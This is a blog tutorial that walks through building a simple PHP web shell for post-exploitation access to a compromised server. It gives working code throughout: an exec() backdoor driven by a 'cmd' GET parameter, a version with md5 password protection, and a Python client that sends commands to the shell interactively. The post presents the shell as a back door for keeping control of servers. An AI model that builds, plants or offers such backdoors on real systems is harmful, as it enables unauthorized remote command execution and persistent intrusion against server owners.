Build A Simple Web shell

HacksLand | The computer science playground

Posted by Thilan Dissanayaka on Sep 08, 2019

A web shell is a piece of code that written to get control over a web server. It is helpful for post exploitation attacks. We can use a web shell to maintain access to the server. There are various types of shells. Some are designed to work with PHP environments while others work on ASP server. Some web shells provide a reverse connection while others give a bind connection.

A known example for a web shell is c99. Also there is a great tool called weevly that allow you to create a PHP shell quickly. Using weevly you can do various things such as set a password to shell, run multiple commands, encrypt the script etc

In this document we are going to see how we can develop a very basic web shell. This shell is for a PHP environment. So we can use PHP to code it.

Before we continue let's understand some theories. The primary goal of a web shell is to run some given commands on the server. Since we are using PHP , we have to check how we can execute system commands in a PHP script.

In PHP there are several functions such as system(), exec() etc to accomplish this task. Both of system and exec function do the same. These functions get a valid unix command as the argument and execute it on the server. The system function will print the result while exec function don't print. If we want to get the output of exec function we can use echo command.

Now it is time to start building our script. Hear is the PHP script that we are using to make a back door on the server.

Following code is the absolute basic stage of our shell.


<?php
echo '<pre>'. exec($_GET['cmd']) .'</pre>';
?>

This code will fetch the http GET parameter called 'cmd' and put it as a argument for exec() function. After it'll print the result in a pre wrapper. Hear we used the HTML pre wrapper to display output correctly.

Actualy this is the asic principle of whole script. Let's try this on a server. I'll use my localhost.

When I request the script with my command as cmd parameter, it executed the command and prined the output. Great. It's working. What else we can do?

Add error handling

What happen if I don't enter the cmd parameter. It'll cause to a runtime error. Because the script tries to fetch that but no parameter was suplied.

It is a good programming practice to do error handling whenever we can. So we can reduce runtime errors. As a solution we can write a code as following.


<?php

if (isset($_GET['cmd']) && !empty($_GET['cmd'])) {
	echo '<pre>'. exec($_GET['cmd']) .'</pre>';
}

?>

In the begining we check GET parameter. If cmd parameter is not suplied or is empty we don't excecute the command and exit the script. If user has given the cmd parameter we run it.

Controlling the access to the shell

After we upload the shell to a server, anyone can use it to control the server. So we need to limit the access by adding a authentication system. We can use following script as a solution.


<?php
define('PASSWORD', 'f8b60df48fae35dfa126a1b6ccc3ceed');

function auth($password)
{
	$input_password_hash = md5($password);

	if (strcmp(PASSWORD, $input_password_hash) == 0) {
		return TRUE;
	}else{
		return FALSE;
	}
}


if (isset($_GET['cmd']) && !empty($_GET['cmd']) && isset($_GET['password'])) {
	
	if (auth($_GET['password'])) {
			echo '<pre>'. exec($_GET['cmd']) .'</pre>';
	}else{
		die('Access denide!');
	}
}

?>

We declared a function called auth() to compare given password and the stored one. Actually hear we compare md5 hashes. (If you want you may even use a salted hash). Then we give access to the shell if only two hashes are matched.

Creating a Python client

As the next step we are going to build a little Python script to access the shell. Using this script is very easy than accessing shell from a web browser. We can use a library like requests, urlib2 etc for this purpose.

Let's see how we can do this with the request library


import requests
from bs4 import BeautifulSoup

target = "http://127.0.0.1/shell.php"
password = "hacksland"
while 1:
    cmd = str(input("$ "))
    try:
        r = requests.get(target, params={'cmd': cmd, 'password':password})
        soup = BeautifulSoup(r.text, 'html.parser')
        print(soup.pre.text)
    except requests.exceptions.RequestException as e:
        print(e)
        sys.exit(1)

I also used the BeautifulSoup library to format the output and get required data.

So this is the all for this document. In next article we are going to see how we can develop a GUI web shell. Stay tuned.

Hi, I'm Thilan. An engineering student from SriLanka. I love to code with Python, JavaScript PHP and C.

Comments